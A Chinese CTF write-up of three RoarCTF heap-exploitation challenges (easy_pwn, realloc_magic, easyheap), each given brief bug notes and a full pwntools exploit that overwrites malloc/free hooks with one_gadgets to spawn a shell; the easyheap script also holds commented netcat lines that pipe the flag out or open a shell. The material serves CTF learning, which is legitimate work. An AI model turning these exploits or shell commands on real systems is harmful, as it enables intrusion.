欢迎来到 嗅灵易学

零基础也能上手的脚本技术课,一对一答疑带你入门

[原创] RoarCTF Pwn部分赛题WriteUP

[原创] RoarCTF Pwn部分赛题WriteUP

0x01

easy_pwn

程序中故意写了个off-by-one。由于程序使用的是calloc需要注意一下申请是会清空chunk的内容。exp如下:

#coding:utf-8

from pwn import *

import argparse

glibc = 'raw'  # glibc_version

IP = '39.97.182.233' # wait input

PORT = '42253' # wait input

binary = './easy_pwn'

context.binary = binary # wait input

context.terminal = ['gnome-terminal','-x','sh','-c']

# context.terminal = ['tmux','split','-h']

elf = ELF(binary)

io = None

### parse args

parser = argparse.ArgumentParser()

parser.add_argument('-d', '--debugger', action='store_true')

parser.add_argument('-r', '--remote', action='store_true')

parser.add_argument('-l', '--local', action='store_true')

args = parser.parse_args()

### easy program

sa = lambda x,y : io.sendafter(x,y)

sl = lambda x : io.sendline(x)

sd = lambda x : io.send(x)

sla = lambda x,y : io.sendlineafter(x,y)

rud = lambda x : io.recvuntil(x,drop=True)

ru = lambda x : io.recvuntil(x)

one_gg_223 = [0x3f3d6,0x3f42a,0xd5bf7]

one_gg_227 = [0x4f2c5,0x4f322,0x10a38c]

if args.remote:

    io = remote(IP, PORT)

    if glibc == '2.23':

        libc = ELF("/root/glibc_env/glibc-2.23-binary/libc.so")

    else:

        libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

elif args.local or args.debugger:

    # env = {"LD_PRELOAD": os.path.join(os.getcwd(), "libc.so.6")}

    env = {}

    if glibc == '2.23':

        io = process(["/root/glibc_env/glibc-2.23-binary/ld.so", binary ], env={"LD_PRELOAD":"/root/glibc_env/glibc-2.23-binary/libc.so"})

        libc_bb = io.libs()['/root/glibc_env/glibc-2.23-binary/libc.so']

        libc = ELF('/root/glibc_env/glibc-2.23-binary/libc.so')

    else:

        io = process(binary,  env = env)

        libc_bb = io.libs()['/lib/x86_64-linux-gnu/libc.so.6']

        libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

    proc_base = io.libs()[os.path.abspath(os.path.join(os.getcwd(), binary))]

else:

    parser.print_help()

    exit()

def lg(s, addr):

    print('\033[1;31;40m%30s-->0x%x\033[0m' % (s, addr))

def debug(bdmsg = ''):

    # bdmsg += 'directory /root/glibc_env/glibc-2.23-source/malloc'

    gdb.attach(io,bdmsg)

def magic(offset):

    global __malloc_hook,system,libc_base,__free_hook

    leak = u64(ru("\x7f")[-6:].ljust(8,'\x00'))

    lg('leak',leak)

    libc_base = leak - offset

    lg('libc_base',libc_base)

    __free_hook = libc_base + libc.symbols['__free_hook']

    __malloc_hook = libc_base + libc.symbols['__malloc_hook']

    lg('__malloc_hook',__malloc_hook)

    system = libc_base + libc.symbols['system']

def add(sz):

    sla(":","1")

    sla(":",str(sz))

def edit(idx,sz,con):

    sla(":","2")

    sla(":",str(idx))

    sla(":",str(sz))

    sa(":",con)

def free(idx):

    sla(":","3")

    sla(":",str(idx))

def show(idx):

    sla(":","4")

    sla(":",str(idx))

def exploit():

    add(0x88)

    add(0x40)

    add(0x40)

    add(0x30)

    edit(0,0x88 + 0xa,'a' * 0x88 + chr(0xa1))

    free(1)

    add(0x40)

    show(2)

    magic(0x3c4b78)

    add(0x40)

    add(0x38) # 5

    add(0x38) # 6

    add(0x68) # 7

    add(0x38) # 8

    free(7)

    edit(5,0x38 + 0xa,'a' * 0x38 + chr(0xb1))

    free(6)

    add(0xa1) # 6

    edit(6,0x48,'a' * 0x30 + p64(0x0) + p64(0x71) + p64(__malloc_hook - 0x23))

    add(0x60)    

    add(0x60) # 9

    realloc_hook = libc_base + libc.symbols['realloc']

    lg('onegg',one_gg_223[1] + libc_base)

    edit(9,0x18 + 3 , '\x00' * (0x3 + 0x8) + p64(0x4526a + libc_base) + p64(realloc_hook + 0x0))

    # edit(5, 0x18+3, 'aaa'+p64(0)+p64(libc_base+0xf1147)+p64(realloc+4))

    sl("1")

    sleep(0.3)

    sl("123")

    io.interactive()

if __name__ == "__main__":

    exploit()#

"""

0x45216 execve("/bin/sh", rsp+0x30, environ)

constraints:

  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)

constraints:

  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)

constraints:

  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)

constraints:

  [rsp+0x70] == NULL

"""

realloc_magic

该题考点是realloc的特性,分配0 size的时候会返回0x0。存在uaf。参考这篇文章。exp如下。

#coding:utf-8

from pwn import *

import argparse

# env = os.environ

# env['LD_PRELOAD'] = './libc64.so'

IP = '39.97.182.233'

PORT = '38664'

binary = './realloc'

io = None

parser = argparse.ArgumentParser()

parser.add_argument('-d', '--debugger', action='store_true')

parser.add_argument('-r', '--remote', action='store_true')

parser.add_argument('-l', '--local', action='store_true')

args = parser.parse_args()

sa = lambda x,y : io.sendafter(x,y)

sl = lambda x : io.sendline(x)

sd = lambda x : io.send(x)

sla = lambda x,y : io.sendlineafter(x,y)

rud = lambda x : io.recvuntil(x,drop=True)

ru = lambda x : io.recvuntil(x,timeout = 0.2)

def lg(s, addr):

    print('\033[1;31;40m%30s-->0x%x\033[0m' % (s, addr))

if args.remote:

    io = remote(IP, PORT)

    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

    elf = ELF(binary)

elif args.local or args.debugger:

    # env = {"LD_PRELOAD": os.path.join(os.getcwd(), "libc.so.6")}

    env = {}

    io = process(binary,  env=env)

    elf = ELF(binary)

    proc_base = io.libs()[os.path.abspath(os.path.join(os.getcwd(), binary))]

    # libc_bb = io.libs()['/lib/x86_64-linux-gnu/libc.so.6']

    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

else:

    parser.print_help()

    exit()

libc_base,__malloc_hook,system = None,None,None

def magic(offset):

    global libc_base,__malloc_hook,system,__free_hook

    leak = u64(ru("\x7f")[-6:].ljust(8,'\x00'))

    lg('leak',leak)

    libc_base = leak - offset

    lg('base',libc_base)

    __malloc_hook = libc_base + libc.symbols['__malloc_hook']

    __free_hook = libc_base + libc.symbols['__free_hook']

    system = libc_base + libc.symbols['system']

def debug(msg=""):

    pwnlib.gdb.attach(io,msg)

def add(sz,con):

    sla(">>","1")

    io.sendlineafter("Size?",str(sz))

    sa("?",con)

def free():

    sla(">>","2")

def magic_():

    sla(">>","666")

def exploit():

    # add(0x80,'a')

    # free()

    # free()

    # add(0x80,p64(0xdeadbeef))

    # magic_()

    # add(0x80,'a')

    # magic_()

    # add(0x80,'123')

    # add(0x90,p64(0xdeadbeef))

    # add(0x0,'')

    # add(0x80,'')

    add(0x70,'a')

    add(0x0,'')

    add(0x100,'a')

    add(0x0,'')

    add(0xe0,'a')

    add(0x0,'')

    add(0x100,'a')

    [free() for i in range(7)]

    add(0x0,'')

    add(0x70,'a')

    # debug()

    add(0x180,chr(0) * 0x78 + p64(0x41) + '\x60\x57')

    # debug()

    add(0x0,'')

    add(0x100,'a')

    add(0x0,'')

    add(0x100,p64(0xfbad1887) + p64(0) *3 + "\x00") # leak

    magic(0x3ed8b0)

    magic_()

    add(0x70,'a')

    add(0x0,'')

    add(0x110,'a')

    add(0x0,'')

    add(0xf0,'a')

    add(0x0,'')

    add(0x110,'a')

    [free() for i in range(7)]

    add(0x0,'')

    add(0x70,'a')

    # debug()

    add(0x190,chr(0) * 0x78 + p64(0x41) + p64(libc_base + 0x3ed8e8))

    add(0x0,'')

    add(0x110,'a')

    add(0x0,'')

    lg('__free_hook',__free_hook)

    one_gg = libc_base + 0x4f322

    add(0x110,p64(one_gg)) # leak

    sl("2")

    success(" get shell ")

    # debug()

    # add(0x180,chr(0) * 0x78 + p64(0x111) + p64(__free_hook))

    # add(0x0,'')

    # add(0x30,'a')

    # add(0x0,'')

    # one_gg = libc_base + 0x4f322

    # add(0x30,p64(one_gg))

    io.interactive()

if __name__ == "__main__":

    while(True):

        io = remote(IP, PORT)

        try:

            exploit()

            io.close()

        except Exception as e:

            continue

"""

0x4f2c5 execve("/bin/sh", rsp+0x40, environ)

constraints:

  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)

constraints:

  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)

constraints:

  [rsp+0x70] == NULL

"""

easyheap

程序中存在uaf漏洞,不过只有一个用来存在ptr。然后发现有个build_free,build申请0xa0的size。free也存在uaf。这样其实就想到fastbin double free。先申请一个0xa0大小的chunk。释放会进入unsorted bin。然后用外面的申请两个0x68,两个存放ptr的都指向了0x68的size大小的chunk。然后申请到bss段。用name伪造size。exp如下:

#coding:utf-8

#coding:utf-8

from pwn import *

import argparse

# env = os.environ

# env['LD_PRELOAD'] = './libc64.so'

IP = 'localhost'

PORT = '2333'

binary = './pwn'

context.binary = './pwn'

io = None

parser = argparse.ArgumentParser()

parser.add_argument('-d', '--debugger', action='store_true')

parser.add_argument('-r', '--remote', action='store_true')

parser.add_argument('-l', '--local', action='store_true')

args = parser.parse_args()

sa = lambda x,y : io.sendafter(x,y)

sl = lambda x : io.sendline(x)

sd = lambda x : io.send(x)

sla = lambda x,y : io.sendlineafter(x,y)

rud = lambda x : io.recvuntil(x,drop=True)

ru = lambda x : io.recvuntil(x)

def lg(s, addr):

    print('\033[1;31;40m%30s-->0x%x\033[0m' % (s, addr))

if args.remote:

    io = remote(IP, PORT)  

    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

    elf = ELF(binary)

elif args.local or args.debugger:

    # env = {"LD_PRELOAD": os.path.join(os.getcwd(), "libc.so.6")}

    env = {}

    io = process(binary,  env=env)

    elf = ELF(binary)

    proc_base = io.libs()[os.path.abspath(os.path.join(os.getcwd(), binary))]

    libc_bb = io.libs()['/lib/x86_64-linux-gnu/libc.so.6']

    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

else:

    parser.print_help()

    exit()

def debug(msg=""):

    pwnlib.gdb.attach(io,msg)

    raw_input()

def add(sz,con):

    sla(">>","1")

    sla("size",str(sz))

    sa("content",con)

def free():

    sla(">>","2")

def build(con):

    sla(">>","666")

    sla("?","1")

    sa("content",con)

def _free():

    sla(">>","666")

    sla("?","2")

def debug(msg=''):

    gdb.attach(io,msg)

def exploit():

    sla("name",flat(0x0,0x71,0x602060))  # fake size

    sla("info",flat(0x0,0x21))

    build("aaa")

    add(0x18,'bbb')

    _free()

    add(0x68,'ccc')

    add(0x68,'ccc')

    free()

    _free()

    free()

    add(0x68,p64(0x602060))

    add(0x68,'ddd')

    add(0x68,'eee')

    add(0x60,p64(0x602060) + 'a' * 0x10 + p64(elf.got['__libc_start_main']) + p64(0xDEADBEEFDEADBEEF))

    io.sendlineafter(">>","3") # show

    main = u64(ru("\x7f")[-6:].ljust(8,'\x00'))

    base = main - libc.symbols['__libc_start_main']

    lg('base',base)

    __malloc_hook = base + libc.symbols['__malloc_hook']

    io.sendline("1")

    time.sleep(0.3)

    io.sendline(str(0x68))

    time.sleep(0.3)

    io.sendline(p64(__malloc_hook - 0x23))

    io.sendline("1")

    time.sleep(0.3)

    io.sendline(str(0x68))

    time.sleep(0.3)

    io.sendline('junk')

    time.sleep(0.3)

    io.sendline("1")

    time.sleep(0.3)

    io.sendline(str(0x68))

    time.sleep(0.3)

    onegg = base + 0xf1147

    io.sendline('a' * 11 + p64(onegg) + p64(base + libc.symbols['realloc'] + 20))

    sleep(0.3)

    io.sendline("1")

    sleep(0.3)

    io.sendline("123")

    sleep(0.3)

    # io.send("cat flag | nc localhost 2333")

    # io.send("nc -e localhost 2333")

    # io.send("sh flag;")

    # io.send("cat flag >&0")

    # io.send("exec 1>&0; cat flag")

    # http://m4x.fun/post/play-with-file-descriptor-3/

    # debug("b *__realloc_hook")

    io.interactive()

if __name__ == "__main__":

    exploit()

"""

0x45216    execve("/bin/sh", rsp+0x30, environ)

constraints:

  rax == NULL

0x4526a    execve("/bin/sh", rsp+0x30, environ)

constraints:

  [rsp+0x30] == NULL

0xf02a4    execve("/bin/sh", rsp+0x50, environ)

constraints:

  [rsp+0x50] == NULL

0xf1147    execve("/bin/sh", rsp+0x70, environ)

constraints:

  [rsp+0x70] == NULL

"""

注意:上传附件及图片大小不得大于30M。

⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。

0 0 0 举报
复制成功